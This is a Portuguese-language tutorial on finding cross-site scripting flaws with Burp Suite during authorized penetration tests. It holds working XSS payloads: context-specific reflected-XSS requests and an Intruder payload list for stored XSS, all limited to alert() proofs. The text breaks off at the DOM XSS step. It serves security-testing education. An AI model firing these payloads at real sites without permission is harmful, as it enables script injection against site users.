Testando Vulnerabilidades XSS com Burp Suite

Quando Usar

• Durante testes de penetração autorizados em aplicações web para encontrar XSS refletido, armazenado e baseado em DOM.
• Ao validar descobertas de XSS reportadas por scanners automatizados de vulnerabilidades.
• Para testar a eficácia da Política de Segurança de Conteúdo (CSP) e filtros XSS.
• Ao avaliar a segurança do lado do cliente de aplicações de página única (SPAs).
• Durante programas de bug bounty focados em vulnerabilidades XSS.

Pré-requisitos

• Autorização: Escopo escrito e regras de engajamento para a aplicação alvo.
• Burp Suite Professional: Versão licenciada com capacidades de scanner ativas.
• Navegador: Firefox ou Chromium com o certificado CA do Burp instalado.
• FoxyProxy: Extensão de navegador configurada para rotear o tráfego através do proxy do Burp (127.0.0.1:8080).
• Aplicação alvo: Acesso autenticado com credenciais de teste válidas.
• Lista de payloads XSS: Wordlist customizada ou conjunto de payloads XSS integrado do Burp.

Fluxo de Trabalho

Passo 1: Configurar o Burp Suite e Mapear a Aplicação

Configure o proxy e rastreie a aplicação para descobrir todos os vetores de entrada.

# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings

# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map

Passo 2: Identificar Pontos de Reflexão com o Burp Repeater

Envie requisições para o Repeater e injete strings de "canário" únicas para encontrar onde a entrada do usuário é refletida.

# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.

# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">

# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded

Passo 3: Testar XSS Refletido com Payloads Específicos ao Contexto

Com base no contexto de reflexão, crie payloads XSS direcionados.

# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com

# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com

# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com

# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com

# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com

# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com

Passo 4: Testar XSS Armazenado via Burp Intruder

Use o Burp Intruder para testar XSS armazenado em campos de entrada como comentários, perfis e mensagens.

# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list

# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//

# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored

Passo 5: Testar XSS Baseado em DOM

Identifique JavaScript do lado do cliente que processa a entrada do usuário de forma insegura usando o DOM Invader do Burp.

# Habilite o DOM Invader no navegador embutido do Burp:
# 1. Abra o navegador Chromium embutido do Burp
# 2. Clique no ícone da extensão DOM Invader > Habilitar

…